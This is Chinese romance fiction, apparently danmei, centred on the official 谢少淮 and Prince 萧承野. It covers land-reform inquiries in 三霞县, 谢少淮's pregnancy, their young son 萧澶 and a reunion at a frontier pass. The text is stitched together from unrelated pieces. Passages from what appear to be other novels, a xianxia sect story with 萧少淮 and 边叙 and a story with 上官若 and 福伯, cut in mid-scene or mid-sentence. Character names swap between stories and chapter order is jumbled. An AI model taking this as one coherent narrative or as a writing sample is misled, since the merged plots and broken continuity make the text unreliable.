谢少淮来琢州之前就了解过当地的人脉关系,雁山侯的事情也有所了解,今日若不是萧承野也在,自己怕是难进这道大门。 萧承野拉着萧澶的手一同进去,三人走到一半,小厮突然说了一句:“王爷,今天大将军也在呢。” 萧承野:“舅舅在这里做什么?” 萧澶有些意外:“卫舅爷爷也在!” 萧澶已经好久没去大营了,没想到能在这里碰见舅爷爷:“太好啦,舅爷爷上次说带阿澶去草原上骑马!” 谢少淮闻言步子却一顿,雁山侯和卫岚有交情,这个时候卫岚在侯府,怕不是雁山侯找来的?他的身份雁山侯应该不知,那卫岚就不一定了,他毕竟是萧澶的亲生父亲,就算卫岚没见过他本人,画像也应该是见过的。 萧承野眼尾余光看到了身后的谢少淮,他也停下步子,让小厮先带萧澶进去:“你先进去找舅爷,爹爹随后就来。” 萧澶:“好!” 送走了萧澶,萧承野起身朝谢少淮走了两步,“怎么不走了?” 谢少淮担忧道:“卫大将军可见过下官的画像?” 萧承野:“自然是见过。” 头来琢州的哪一年,他醉酒度日,靠的就是一副画像熬了过来。 “不过你放心,舅舅他不喜欢男的,甚至可能都不记得你叫什么名字,他军务繁忙除了见过你的画像之外,便对你没有再多解了。”萧承野知道谢少淮担心什么无非是怕他的身份暴露,日后不好和萧澶相处:“就算他认出来你是阿澶的父亲,也不会贸然就问你这个。” 谢少淮:“……” 谢少淮还是有些担心,“万一他不知阿澶并不知道我的身份呢?” “那你准备怎么办?”萧承野何时见过谢少淮这么难下抉择,他抱臂看着眉心紧蹙的青年,慵懒道:“要不大人给本王点好处,本王先进去和舅舅打声招呼?” 谢少淮:“……” 许太医又嘱咐了两句,随后便去了隔壁厢房,准备写个药方去抓药。 房间里就剩下谢少淮和萧承野,萧承野方才被许太医好生“磋磨”一顿,鬓角出了一头细汗,唇都因为失血变得乌青,但是他一抬眸见谢少淮眉心紧蹙,羽睫湿润,好像比吃了什么仙丹还管用。 少年蹭地就站了起来,捂着谢少淮的后脑勺一把将人按在自己胸口:“阿淮别担心,为夫一点都不疼。” “抱歉。” 谢少淮看着少年的肩说道。 第 42 章 第 42 章 萧承野负了伤,谢少淮怕碰到男人的伤口准备分床睡。三霞县的县衙比宁县的大的多,多搬过来一张床片刻就能弄完:“殿下先休息,我让人再搬一张床过来。” 萧承野本来就因为受伤的事情不爽,见谢少淮要与他分开睡,就更不满意了。 “阿淮,我想和你睡。” 谢少淮思忖少顷,点了点头:“那殿下睡里面去。” “阿淮这就同意了?”萧承野只是随口一说,青年向来是说一不二的,说罢萧承野胆子也大了起来,上了床钻到被窝里:“阿淮快来,抱着为夫睡。” 谢少淮:“……” 谢少淮简单洗漱了一下,随后听萧承野的话上了床,县衙的床和梁王府的千斤拔步床没法比,堪堪容纳两个成年男人,谢少淮又害怕压着少年,便小半个身子都在外头:“时间还早,殿下要睡吗?” 三霞县的情况,来时谢少淮不知道能不能用上,便没太详细和萧承野说。少年对人际关系等问题甚是抗拒,谢少淮之前也同他说过宁县的大概人脉关系,但少年听着听着便睡着了。 “阿淮想做什么?”萧承野精神头好的很,拿了软枕靠着,目光落在身侧的谢少淮身上:“阿淮说什么为夫都喜欢听。” 谢少淮:“……” 少年之前口中一句一个要相互了解,坚持做自己,说是这样他们的关系才能长久……但实际上,谢少淮看的出来,萧承野对自己大多喜欢的事情都没兴趣,有时候谈起律令政法,少年嘴上说着爱听,结果也是听一会儿就沉沉欲睡。 不过即便如此,萧承野一次也没冷过他的场。 谢少淮给少年拉了下被褥,随后往他身侧靠了一下,两个人就靠在一块软枕上,“魏清的长子,在宫里任职侍中,我来时特意去见了此人,将三霞县的大致情况了解了一下。” 谢少淮在梁王府从午时待到了亥时,在清心居前的空地前看父子二人练了将近两个时辰的剑,直到萧澶困的抬不起脑袋了,谢少淮才打算起身拜别:“时间不早了,小殿下既然困了,那下官也该告退了。” 萧澶被萧承野抱在怀里,脑袋靠在男人的肩膀上,眼睛半张半合着:“阿澶也没有很困……”说罢,就完全合上了眼睛。 谢少淮:“……”房间内似乎有些凌乱。 方才带着萧承野体温的外套早已冷透,萧少淮却依旧紧紧用它裹在身侧,跪坐在床上一眨不眨地望着房间中央的人。 萧承野默然半晌,终于抬手先摸了摸他的额头。 触手滚烫,让萧承野疑心再这么烧下去,能直接把人烧傻。 “怎么发烧了?吃药了吗?”谢少淮高举火把,在漆黑天牢内缓缓前行。 天牢尽头,一人白衣素裳,青丝如墨,他听见声音却没有回头,望着天牢窗外的明月轻声道:『你不该来的。』 谢少淮掀开黑斗篷帽檐,向前靠近牢门,『改口供,我带你离开。』 『你要我撰写檄文声讨自己的祖父?』 虽然上官若没有转身,但谢少淮看到了囚衣上往外渗透的殷红,以及锁链摩擦的碰响——他不愿让我看到他的窘迫。 『我知道君子有所为有所不为,也知道你从来很孝顺。可是若哥哥,你明明也知道天后的新政利大于弊,是富强国家的好事,既然你从来跟你祖父的看法背道而驰,为什么不愿开口呢?只要你开口,天后一定会赦免你!』 『少淮,我知道你的好意。可如果整个家族只有我一个人苟延残喘地活着,那还有什么意义呢?』 『你就当是为了我,若哥哥,求求你。』 他终于转身。 月光照在上官若脸上,却一片模糊,看不清眉眼,但谢少淮依旧记得他说的话 ——『对不起,少淮。我无法看着父母亲族在我面前死去。也无法独自一人背负着家族的罪孽存活下去。或许我们的相遇就是错误,不过万幸的是,那天醉酒后,我终究没有碰你。』 『少淮,忘记我的存在,好好活下去。』 『不、不!我们该一起活下去呀!若哥哥!若哥哥!』 谢少淮蓦地失重,惊呼着双手凌空乱抓,『不!不要!不要!』一个人从旁抱住他,『少淮,别怕,你做噩梦了。』 刺目阳光从窗外照上|床榻,谢少淮坐起身,右手遮住双眼。萧承野坐在他身边,用温热的毛巾替他擦去额头冷汗。 谢少淮猛地喘息四五个回合才回过神,抓过毛巾用力擦脸。 梦境中的痛感依旧蔓延在心腔 ——为什么又会梦到从前的事? 若哥哥…… 不知擦了多久,温热毛巾边角都泛凉了,谢少淮才移开帕子。恢复视线的瞬间,他发现师兄已穿戴好外出的衣服,床铺也收拾整齐——仿佛是纯粹看着他睡觉似的——那双通红的眼睛,像是熬了夜。 而原本清澈的眼睛正静静盯着他,异样深邃,透着哀也似的浓雾。 没有精力去探寻这份哀伤源自何处,谢少淮缕缕头发后想坐起身,却在起身瞬间被紧紧抱住,『少淮,你说我们会永远在一起吗?』 这个问题谢少淮回答过几千遍,嘴角肌肉本能而麻木地执行流程:『当然,我们会永远在一起。』 『那我们会永远不分开吗?』萧承野抱得更紧,几乎让谢少淮有些卡脖子的窒息。 谢少淮不懂这两个问题有什么不同的。 但他既不想探究根源,也不想引起争吵,于是处于惯性回答道: 『当然,我们永远不会分开。』 可过分爽快地回答并没有引起萧承野的高兴。 相反,那静静注视谢少淮的眸子甚至有一瞬间的失神。 良久,师兄垂眸,眼底涌动的哀雾愈发浓稠,『少淮,你喜欢跟我在一起的家吗?』 谢少淮打心底里厌烦这些毫无意义的问题,但看到萧承野失魂落魄而惶恐不安的眼睛,又实在很难说什么重话,于是他撒谎道: 『当然喜欢,这万千灯火总有一盏为我而留,每天我一回家,就能看到满桌香喷喷的饭菜,和温柔美丽的你,我还有哪里不开心呢?』 『那你会爱上别人吗?』 『今生今世除了你,我再也不会爱上别人。直到海枯石烂,我的心头也刻着你的名字。』谢少淮拉起萧承野的手背轻轻一吻,『所以,我们能去吃早饭了吗?』 萧承野双眼水色潋滟,似笑非笑,直到那水色几乎要溢出眼眶了,他才淡淡道:『但愿你说的是真心话。』 谢少淮心头一刺,愣在原地。 良久,他哼笑一声,起身穿好衣服。 饭桌上,两人面对面坐,相顾无言。 盘子里的荷包蛋,端上来是两个,撤下去还是两个,萧承野没给他夹。 用完早饭,盘子都撤下去,仆人送来茶水漱口时,萧承野说:『今天我有点事,不回来用晚饭了。』 谢少淮点头,『挺好,我也有点事,也不回来用晚饭了。』 萧承野久久注视他,『蛮好。』 『嗯,可不蛮好么?』谢少淮微笑。 萧承野于是起身离去,带走了清萧剑。 谢少淮茶水漱口,牙签剔牙,翘着二郎腿靠太师椅上,没去追。 这可把一边的家令福伯急得不行! 可他又不能明说,只能试探道:『今天休沐,家主有什么安排呢?』道长从没有冷落过你,虽然不知道你做了什么,但你是不是该哄哄他? 从来举一反三,一句话能听出十七八个意思的谢少淮,今天仿若耳朵聋了。 他唤人更衣,又名人取来百宝箱。 一抽屉一抽屉的饰品铺满桌面,他在摆放戒指的托盘内左看看、右选选,仿佛挑一个好看的扳指是比抚慰伴侣更重要的事。 对此,福伯有些难评。 他是谢少淮的奶公,从小看着谢少淮长大。 很多外人不知道的事情他却是知道的。 他清楚小主人的放浪形骸其实是有情可原,从前那些乱七八糟的过往,是这天才般聪颖孩子人生绘卷上的污点。 可他只能看着这孩子的人生一点点堕落,却无计可施。 好在萧承野出现了。 温润如玉的道长纯白无暇,终于让小主人斩断过往,安安稳稳过了几年好日子。 可如今怎么又不行了呢? 挣扎几番,福伯终于打算越过身份开口,却被谢少淮打断:『我知道你要说什么,但这是我们两个人的事,你不要管。另外,我今天的确要拜访公主,不回来了。』 福伯张着的嘴只能合上,看着谢少淮骑上踏雪乌驹,朝着宫门行去。 床上的人迅速摇了两下头。 “为什么不吃药?”学堂内,萧少淮闭上眼,轻轻按了按眉心。 他感觉身体的力气终于恢复了几分,直起身伸了个懒腰,环顾了一圈,再次飘飘悠悠向一个方向走去。 松一依旧站在刚才长老弟子的棍子旁,瞪着一双眼不知在想什么。 旁边忽然有人凑了过来:“你在做什么?” “方才宗主说的那个禁闭时长”松一下意识开口,下一秒,在意识到旁边的人是谁时,瞬间警惕转头。 “你过来干什么?” 萧少淮眨了眨眼,笑眯眯开口:“我有些事想要请教小师侄。” 松一冷哼一声:“免了,道不同不相为谋,萧公子方才的话,既然已经摆明了与他们一起同流合污,那与我就没什么好说的了” 他话还没说完,忽然感到面前一阵清幽的吐息相近。 松一倏然回过头,便看到萧少淮手掌抵着桌子,越过桌案,半个身子都凑到了松一跟前。 他今日还穿着一袭白衣,只是去了血污,素得像块连斑纹都没有的玉,清冷冷带着凉意。 明明隔着一张桌子,两人的距离却仿佛近在咫尺,松一几乎能闻到萧少淮身上浅淡的药香。 “没有药。”萧少淮小声开口,又摇了一下头,有些难耐地蹙了蹙眉。 下一刻,萧承野忽然开口:“头晕就不用摇头了,直接说就行。” 萧少淮怔了一下,眼眸蓦然亮了几分,下意识点头又倏然顿住。 他望着萧承野,犹豫了一下,忽然伸出手,示意他来床边坐下。 萧承野没有立刻动,而是隔着一步之遥望着他。 床上的人一改往日的懒散随意,仿佛一只极其没有安全感的小动物,小心翼翼地撑着身子望着他,乖巧地让人心软。 ——这是他清醒时从来不会露出的模样。 萧承野缓缓抬步,顺从地坐下,继续开口:“没有药,为什么不喊人?” 他话音刚落,下一秒却感觉怀里先是一凉。 萧少淮裹着那外袍,挪巴挪巴再次挤了进来,寻了个舒服的姿势靠在他肩窝,满足地眯起了眼。 高烧让他思维迟缓,做完脑海中最紧要的事,这才后知后觉想到萧承野刚才的问题。 他歪了歪头,犹豫了一下小声开口:“反正喊了人拿了药来我也不会喝,不如不要。” 萧承野没有想到会是这个答案,一时间被气笑了。 “不喝药病怎么能好?” 他边说边抬手想要唤人,却忽然感觉手腕再次一凉。 萧少淮抓着他的手腕,窗外的树枝被风吹动,他被冻的瑟缩了一下,却执拗地不松手。 “喝了也不会好。” 月影浮动,细碎的光晕飘悠悠从他眼睫滑落,像是一滴银色的泪。 面前的人神情无辜,恍若不知自己说出的是怎样的话:“不喝也不会死。” 萧承野神情一滞。 萧少淮拽着萧承野手腕,不知想到了什么,颤声开口:“而且我从前喝过太多药了,喝了就难受,浑身都痛,还会吐血……” 萧承野蹙了蹙眉,敏锐地捕捉到了“从前”两个字。 床上的人还像小动物般,蜷缩起来掰着爪子细数着喝药的“罪状”,指尖冻的青白。 萧承野盯着他发白的指尖,终于忍不住伸出手,反手抓住他的手腕,重新塞回了衣袍内。 萧少淮愣了一下,忽然扬起唇,得寸进尺地张开手,将整个手都挤进了萧承野掌心。 萧承野垂眸看他一眼,没有松手,反而忽然开口:“可以先不喝药。” 他往萧少淮脉络间渡着灵力降温,不等面前的人欢呼,紧接着问出了下一个问题。 “但你得告诉我,之前是什么时候喝的药?谁给你喝的?” 萧承野喊了刘管事把萧澶抱走,突然对要走的谢少淮说了一句:“雁山侯也在这次徙陵的名单上?” 谢少淮的步子一顿,又转过身来。 这会儿刮起了风半边乌云拢着,堪堪露了半边月牙。 谢少淮与萧承野独处在八角凉亭下。 从前在长安梁王府,谢少淮就喜欢在后院的凉亭里歇息,那处院子不比这里大倒清净雅致,偶时刮过一阵小风,实在舒心,偏萧承野不许他舒服闹着托着他、或压着他靠着美人靠上吻、吮吸又或者咬他。 谢少淮眸子一颤,将飘走的思绪拉了回来,应了萧承野一声:“侯爷封地本就不在琢州,回去也好。” 谢少淮抿了抿唇,垂眸看了一眼,“许太医当真交代过?” “真的,”萧承野靠在青年的肩膀上,舔了口他的耳垂,手上握着青年的手,却总觉得缺点什么:“为夫不会拿着个开玩笑的。” “嗯。”谢少淮收了自己的手,主动吻了吻萧承野:“那,轻一些。” 萧承野夙愿得尝,满足的不能再满足,但也没敢用劲儿,把控着力度,嘴上却闲不住,“小王和阿淮在做什么?” 谢少淮吁了口气,一把捂住萧承野乱说的嘴:“闭嘴。” 第 43 章 第 43 章 辰时天亮,早晨的泥土芬芳吹去室内一夜的情靡。 谢少淮洗漱完,见县衙见了京兆府尹安排了今日的计划,周崇这个时候也醒了打着哈欠出了门,见两人从房间里出来,朝着他们招了招手:“早啊少淮兄,早啊府尹大人。” 京兆府尹见周崇来,向谢少淮道:“那属下就先告退。” “劳烦,” “你们已经安排完活辣?”周崇小跑到谢少淮身边,正准备抱人,萧承野不知什么之后跑到了他身后,拎着他的后襟:“说话就说话,别动手动脚的。” “我错了殿下,”周崇哀嚎两声,谢少淮便让男人松开了周崇,随后他将守卫军也喊了过去,吩咐两人带着去许家一趟。 吃完早饭,萧承野和周崇离开县衙,谢少淮便去找了许太医一趟,先问了萧承野的左肩伤口,又问了一下自己胎像的事情主要是问昨晚和萧承野同房的事情。 谢少淮蹙眉,脚步顿了顿,随后打开了门大步走了出去。 门外青松正拉着刘管事往这边走,谢少淮脸色难看得出正堂出来,三人刚好打了个照面,青松连忙上前迎他家公子:“公子您没事吧?” 方才房间的情况青松是看的一清二楚的,他害怕王爷和他家公子起争执,便拉来刘管事出主意,刘管事看着你面色难看的青年,关心道:“大人,您和王爷嗯么了?” 谢少淮抿了抿唇:“无事。”“那你知道大师兄回来到底是想要干什么的吗?”边叙似乎意料到他会这么说,只紧紧盯着他,飞速开口。 “万一他回来是为两年前的事复仇,万一他回来最终只是与你为敌……” “我不在乎。”萧承野骤然打断他的话。 他闭了闭眼,忽然低低地吸了一口气。 “我不在乎他为什么回来,只要……他如今在我身边……” 边叙瞳孔微缩,不可置信地抬起头:“你说什么?” 他上前一步:“你到底想干什么?你把他安置在这偏僻的院落,将他和所有与曾经相关的人都隔绝开,却又不信他说的任何话。” “他否认自己是萧宿泱也是你所为……?” “他失忆了。”萧承野忽然低声开口。大约是有记忆之后,到开始换牙的这段时间里,谢少淮懵懵懂懂地发现了一条世间真义。 似乎地位越高的人,拥有的伴侣数量就越多。 圣人是皇帝,有三宫六院,享佳丽三千。独宠天后只是他的选择。 世家贵族、封疆大吏们,无一例外,全都是妻妾成群,各房妻妾子女争宠不休。 而普通的商人、富户、则往往只有三四个妻妾,兼一两个外室,或养零星的歌妓。 至于府中的仆人、有地的平民、或者有一技之长的手艺人们,都只有一个媳妇,两个人搭起伙来过日子。 再往下走的贩夫走卒、车马劳役,可能终其一生,都攒不起娶媳妇的聘礼,只能孤独终老。 由此可见,伴侣的数量,可以侧面反应一个人的身份、地位和财富。 从这个角度来说,伴侣也是一种资源。 既然是资源,那就是要掠夺的。 尤其是高质量的伴侣。 先下手为强,后下手遭殃。 很多人至死都不明白的道理,谢少淮九岁左右就发现了。 于是,开了窍的谢少淮,在一众还只会玩泥巴、看自己小弟弟的同龄男孩中脱颖而出,一通乱杀。 以迅雷不及掩耳之势抢夺了翠竹书院的所有女孩当老婆,除了一个磕掉门牙说话漏萧的,他觉得这样好丑所以没有收。 这时,有个傻大个站出来,他显然还没明白伴侣是资源的道理,只是出于小朋友朴素的正义感: 『你为什么不给她小点心?』 谢少淮摆手:『我只给当我老婆的人小点心。』 『那你也让她当你老婆。』 『不要,她说话漏萧,好丑。』 女孩『哇』地哭了。 傻大个道:『你这是欺负人!』 翠竹书院是世家贵族们的育儿所,年幼的孩子会被投放于此处,接受学前教育,培养感情、维持人际。 所以能在这里出现的孩子,身份地位都是相当的。 谢少淮双手叉腰,『怎么?你喜欢她?那我就把她分给你当老婆了。以后你照顾她,你给她带点心。』 傻大个挠挠头,他还不知道什么是老婆,但就这样莫名其妙被安排了。 之后都手拉着手,跟那小女孩一起上下学,每天带一块桃花酥。 很多年后他俩成亲了,谢少淮还收到了请帖。 当时他还在清萧山上夹着尾巴当乖师弟,看到请帖脱口而出就是一声『淦』,吓萧承野一跳,万幸糊弄过去了。 目前这俩人的孩子已经会打酱油了。 当然,这是后话。 扯远了。 说回养老婆们这件事。 当时谢少淮有六个老婆,虽然他雨露均沾,但女人就是很麻烦的,要哄。 除了每天分发点心外,还有别的需求。 有的是新款的小头花、有的是罕见的小玩具、还有的是漂亮的小手帕。 谢少淮那点零花钱根本不够造。 怎么办呢? 谢少淮想到了打劫。 书院里的其他男孩也是贵族子弟,也都有不少的零花钱。 虽然谢少淮个头不是最大的,但相比于只会使用蛮力的同龄人,已经开窍的谢少淮明白了套路和战术,因此战无不胜。 谢家那小崽子是混子、流氓、纨绔等等恶名也就是从这时候开始,逐渐流传在街头巷尾的。 大概就这样打劫了半年,被打劫的男孩们突然意识到单兵作赢不了,于是开始抱团。 玩群殴,谢少淮可吃大亏了! 虽然他有六个老婆,但女孩们从小就是很精明的,分零食的时候抢着来,要打架都嘟嘴躲一边,只有一两个能被忽悠,但根本不抵事。 被群殴了几次的谢少淮开始反思,思前想后他认为己方战力太低,女孩太精,不好忽悠,平时花销也大。 要找一个好忽悠、听话、能分担花销的人。 于是,他决定收一个男老婆。 找谁呢? 没两天,十岁的谢少淮就锁定了目标。 一个性情孤傲、独来独往,谁也看不上的傲娇包——零花钱还特别多。 行吧,就他了。 于是某天,谢少淮从天而降,从墙上跳下来拦住那男孩去路,『从今天起你要给我当老婆。』 『不要。』 边叙愣了一下,神情空白了一瞬:“什么?” 他下意识脱口而出:“是大师兄又骗了你,还是你又做了什么……” 萧静承的神情却慢慢静了下来。 他垂下眼,似乎漠然勾了勾唇:“我说了,我不在乎。” 有疾风从两人身周刮过,带起一片凉意。 萧承野缓缓抬头,望着这个从来似乎只对书籍感兴趣的四师兄,半晌,只又低低地重复了一遍:“他不是萧宿泱。” 边叙回过神,木然地“哦”了一声,也不知信了没有。 他望着旁边斑驳的木门,静了几秒,忽然开口:“你果然是大师兄一手带出来的,小师弟。” “大师兄骗天骗地,你却骗自己。” 萧承野没有说话,边叙闭了闭眼,声音也恢复了一贯的迟缓:“大师兄刚才应是生病了,神志有些不清,宗主先去照顾他吧。” 他冲着萧承野行了一礼,慢慢转回身,萧承野静了几秒,闭了闭眼,也重新转向那扇木门。 他缓步上前,伸手刚想推开面前那扇木门,手掌在碰上的那一刻,忽然感觉门内一股拉力蓦然传来。 下一秒,木门被从内直接打开,紧接着一个暖洋洋的身形从木门里钻出来,径直落入他的怀里。 萧承野身形一凛,下意识伸出手径直掐住面前人的脖颈,却又在最后一刻忽然停住了动作,只虚虚环在萧少淮颈间。 他听着面前人舒服地喟叹了一声:“你身上好暖和啊,萧承野。” 萧承野手指颤了一下,垂下头。 面前扑了他满怀的人似乎丝毫没有察觉到异样,扬起一双桃花眼笑眯眯地抬起头,两颊绯红,唇色却几近苍白,眼眸间一片散乱。 ——似乎确实已经神志昏沉。 萧承野顿了顿,慢慢收回手,手指轻轻环住他的肩膀,指尖却不着痕迹地点在他命脉上。 他垂下眼,低声开口:“萧少淮?” “你刚才……是在偷听吗?” 面前的人躲在他外袍下,也不知到底听懂了没有,嘟囔着轻轻应了一声,似乎尤嫌冷般,忽然偏头,再次往他怀里缩去。 ——正向萧承野按住他命脉的手指间撞去。 萧承野瞳孔骤缩,倏然收回手,指尖最后一刻从萧少淮冰凉的皮肤间悄然划过。 他蹙眉低下头,却见面前的人似有些疑惑地抬起头:“怎么了?为什么要把手收回去。” 萧承野默然。 萧少淮似乎又想起什么,桃花眼间溢出了些许委屈:“而且你刚才为什么一直不来找我?我都冷好久了。” 萧承野神情静了一瞬。 他闭了闭眼,手上忽然使力,托着人的腰部将人微微扶起:“嗯,我的错。” 身后似乎传来些微的响动,萧承野微微侧过头,正看见小路尽头依旧伫立在那里的边叙。 边叙望着他,神情莫名。 萧承野也没有说什么,只忽然抬手,身后的房门在两人之后怦然合拢。 谢少淮清了清杂乱的思绪,缓和道:“时间不早了,本官先回府衙,告辞。” 谢少淮带着青松离开,刘管事看着两人离去的背影,连朝着正堂过去,他甫一进门,便看见萧承野大咧咧坐在正堂的交椅上,手里捏着茶杯,除了脸色有点难看之外并看不出什么异常。 刘管事关心道:“王爷,老奴方才见大人他脸色有些不好……” 萧承野哧笑了声,垂眸看着杯中清澈的茶色,淡淡道:“你说,本王到底哪里不好,他就……这么看不上,连本王的孩子也连带看不上?” 刘管事:“。” 刘管事在王爷伺候了大半辈子了,看着面前的男人从天真散漫的街头霸王变成如今稳重的骠骑将军,早些年的事情他都是亲眼看着过来的,错确实在他家王爷。 刘管事:“王爷,老奴早就说过了,大人他心性稳重,您应该顺着来,不可太由着性子,前几年的事情虽然是陛下特许,但您不顾自己身子屡次冒险,大人他怎么可能不生气呢?” “您若是真放不下,以后就顺着大人来。” 萧承野抿了口苦涩的茶,尝不出来的味道在舌尖化开,他放下茶具,看了眼刘管事,道:“今后不必再准备这些茶水了,本王不喜欢。” “那群只会吵人的儒生也遣了,本王烦得很。” 刘管事:“这……” 刘管事心道不妙,自从长安回来之后,男人就改了从前的爱好,一切都是紧着谢少淮的喜好来的,吃他喜欢吃的茶,穿他喜欢的袍,就连王府的养的戏班子都换成了编撰文史儒生,男人也跟着染上了几分书生气质……三年过去了,怎么突然就要换? 莫不是王爷真放下了? 刘管事一时不知是好还是不好,只能点头答应下来:“是。” 刘管事说完,准备出门,萧澶这时候送完谢少淮回来,见爹爹在正堂,他小跑进来,“爹爹阿澶把大人送走了。” 萧澶奶声奶气说道:“爹爹还生气吗?阿澶哭鼻子不是因为大人,爹爹不要生大人的气,阿澶很喜欢大人。” 萧承野起身把地上的萧澶抱了起来,浅笑一声:“爹爹怎么会生气呢,爹爹也很喜欢周大人,明日爹爹带阿澶去找大人玩儿如何?” 萧澶:“真的吗?” 刘管事:“。” 刘管事一乐,见父子二人说话,便准备出去:“王爷和殿下歇着,老奴这就去办。” 萧承野抱着萧澶出了门,回眸交代刘管事:“本王从大营带回来的牛肉炙好了给大人送去些。” “本官给你个机会,”谢少淮:“从实招来你和许贾是如何在田薄上作假?若你不说,那便等着去长安的诏狱说。” 谢少淮一番话下去,殿下的人一言不发,只重重地叩首在地。 谢少淮沉道:“本官让你说话。” 魏清不言,谢少淮情绪难以控制,一旁的京兆府尹看着青年这么生气,都有些不敢说话了,只好劝阻道:“大人,您的身子要紧,勿要因为此人气坏了身子。” 谢少淮如何能不气,他来之前亲自去了一趟长安的侍中府,见了魏清之子,青年儒雅之礼,心有大义,并对其父仰望尊敬,谢少淮来之前对魏清抱了多大希望,如今就有多失望。 “无碍,”谢少淮冷冷道:“你既不说,那本官便押送你回长安,让长乐宫侍中魏长枫审问好让他看看……” 谢少淮话音未落,只见堂外一身怀六甲的女人闯了进来,“狗官!你押我爹爹作甚!你有本事就冲我来!” 第 44 章 第 44 章 谢少淮发了火,别说周崇了,连老实温和的许太医都不敢劝。晌午许太医给青年开了一些加了安神效果的保胎药,煎好后萧承野端着药进了房。 “阿淮?” “那女子可还在县衙门前?”谢少淮捏着眉心,坐在房间里的小案前,面前是整理好、自建宁二年直至现在的田薄。 萧承野端着药过去,将药放在书案前,随后半跪着伏在青年身前,握住了他的手:“没走,不过骂累了,在歇着呢。” “阿淮先别生气了,”萧承野:“先把药吃了,办法我们慢慢想。” “不行。”谢少淮着实作难,目光落在褐色的药汤上:“土地革新的新政本就难以推行,先朝屡次失败的根本皆在朝廷拿不出强硬手段对付这些蠹虫,若这时候没有顺利推行——” 谢少淮话说到一半,觉得自己有些偏激了,萧承野只是说慢慢想办法,是他过于心急,“苦……” 谢少淮抿了抿唇,放下手里的茶具:“本官……” “我们大人姓周,”青松见他家公子有些为难,便抢先回了话:“不过我们家大人是过来暂任涿州府尹的,几位兄弟称府尹大人就好。” 几个守卫军闻言,抱拳给谢少淮行了礼:“府尹大人好。” “诸位不必多礼。”说罢,谢少淮又问了一句:“不知今日我们是否能进城?” 此地是进西北三州的关隘,不过是什么人经过,都要进行严格的检查。谢少淮此来就带了青松一人,两个包裹方才也检查完了,此时就等着进城。 但谢少淮暂任琢州府尹,梁王府也在琢州,按照礼节梁王要派人过来接应,方才几个守卫军已经去琢州通报。 守卫军:“哦,这个大人不必担心,方才来报,说梁王殿下已经朝着边过来了,想来再有半个时辰就能到。” 谢少淮闻言眉心不由一蹙。 没想到这么快就能和萧承野碰面。另一边,本该出现在课堂上的人,却还徘徊在房外的竹林里。 萧少淮半夜咳的睡不着,好不容易迷迷糊糊也不知是昏过去还是睡过去,再猛然一睁眼便已经是寅时三刻了。 他急急忙忙地冲出房门,绕了一圈后,终于成功地——迷路了。 “都说了给我换个屋子”旁边不知哪里飞来的乌鸦不住地鸣叫,萧少淮叼着发带,有些烦躁地随手扎了个发髻。 萧承野给他找的这个住所实在是太过偏僻,今早冲出门时他还在庆幸还好有地图,等真走出来才发现——这路和地图上描绘的哪一条都对不上。 萧少淮半撑着膝盖,气喘吁吁地站在原地。 他晕晕绕绕又转了一刻钟,在第三次绕回竹林三字交叉口的时候,终于受不了了。 他一屁股坐在路边的大石头上,愤愤地掏出昨晚连夜被送来的地图看了两三遍,也没找到地图上所指的那条路。 “你大爷的樾为之,你最好别被我发现你是故意的” 萧少淮愤愤地骂了一句,一股脑将地图重新塞回了怀里。 他闭了闭眼,深吸一口气,从兜里掏出三枚铜钱。 铜钱泛着古铜色的微光,萧少淮手指轻轻摩挲了一下,叹了一口气,随手掐了个诀。 “要是让师父知道我拿他教的摇卦来找路” 萧少淮把“从坟里爬出来把我骂死”咽了下去,没忍住又叹了一口气,盘腿坐在地上,又掏出一张符纸,比了个起手式。 “七政四余,各有定数——” 他手中的符纸无风自燃,同一刻,三枚铜钱缓缓漂浮在空中。 萧少淮半支着下巴,手指微微一拨面前的铜钱,忽然听到身后一个熟悉的声音传来。 “你在这里做什么?” 萧少淮手指一颤,下一秒,半空中原本漂浮的铜钱也剧烈地晃动了一下,倏然向前飞去。 “啪”的一声脆响,那枚铜钱不偏不倚,正正好打到萧承野额头中央。 萧少淮的表情倏然凝固了。 他也有三年没见萧承野了,不过男人这三年的功绩倒是一直不停的传回长安,朝廷进军草原的三场战役,少年未有一败。马踏匈奴,战功赫赫。 如今看来他当年的决定是对的,只是委屈了他们的孩子。 萧澶离开长安的时候才三个月,刚认人不久,如今一晃三年书信都会写了。谢少淮虽然不感情用事,但毕竟是自己的骨肉,他没有做好一个做父亲的责任,说不内疚是假的。 谢少淮:“多谢。” 谢少淮话音刚落,房间外便传来了哒哒的马蹄声,声音由小变大,大约是有一群人朝着他们这边赶来了。 “听声音应该是王爷来了。”守卫军说着,掀开了房间的棉布帘子,往外看了一眼:“果然是王爷来了!” 带头的守卫军看了一眼,就高兴地转身朝着里头的美貌大人说:“大人,是王爷……” 谢少淮脸色一沉,不由地有些酸涩,守卫军见青年脸色不太好,“大人您没事吧?” 谢少淮抿了抿唇:“无事,本官这就去迎王爷。” 谢少淮说着,起身示意青松一起出去。 出了门关外粗粝的黄沙似小刀往脸上划,风沙太大,谢少淮身子伶仃险些有些站不住脚,他手握符节稳了稳身子,才能抬眸朝着不远处黑压压的一片人马看去。 青松瞧见了人,兴高采烈拉着他家公子的手道:“公子是王爷和小殿下,太好了,王爷把小殿下也带来了!” 萧澶出生的前三个月,几乎都是青松和奶妈在带,自萧承野把萧澶带走后,青松比谢少淮这个亲生父亲还想念,念叨了三年。 谢少淮自然看见了,飞扬的黄沙中,一袭亮眼的银色轻甲的男人骑着汗血宝马,在他怀里,中稳稳地抱着一个冬瓜大小的团子。 萧承野的性格谢少淮清楚,男人对谢少淮太好,处处都能为他想到,想来也是知道他想尽早见见孩子,所以便带过来了吧。 谢少淮握着符节的手出了一手心的汗。 他抬眸看着一别三年的男人骑着马儿朝着他愈走愈近,看见他三年没见的孩子,活生生的出现在他面前,此情此景怕是无法用语言形容。 萧承野在谢少淮面前二十余米的地方停下了马儿,随后翻身下马,将马儿交给雁门关的守卫军,抱着萧澶朝着青年走了过去。 谢少淮手持符节,待萧承野走到自己面前的时候,朝男人行了礼,行完礼他抬眸看着男人,萧承野也掀了掀眼皮看了他一眼。 谢少淮抿唇,抬眸看着男人:“下官见过王爷。” 萧承野又高了,壮了,也黑了。 男人一身银色轻甲,马尾束在银冠中随着黄沙飘荡,他掂了掂怀里的团子,随后—— 萧承野就这么直接略过了谢少淮! 萧承野将萧澶放在驿馆前的房檐下,然后将他身上自己的大氅脱了下来,给他抖了抖身上的黄沙:“在这儿等会儿爹爹。” 萧澶知道爹爹要接待长安来的大人,他点了点头,向男人行了礼:“爹爹且去。” 萧承野揉了揉萧澶的脑袋:“乖。” 谢少淮和青松与雁门关的一群守卫军站在一起,萧承野略过他,甚至连一个眼神都懒得在他身上多停留。 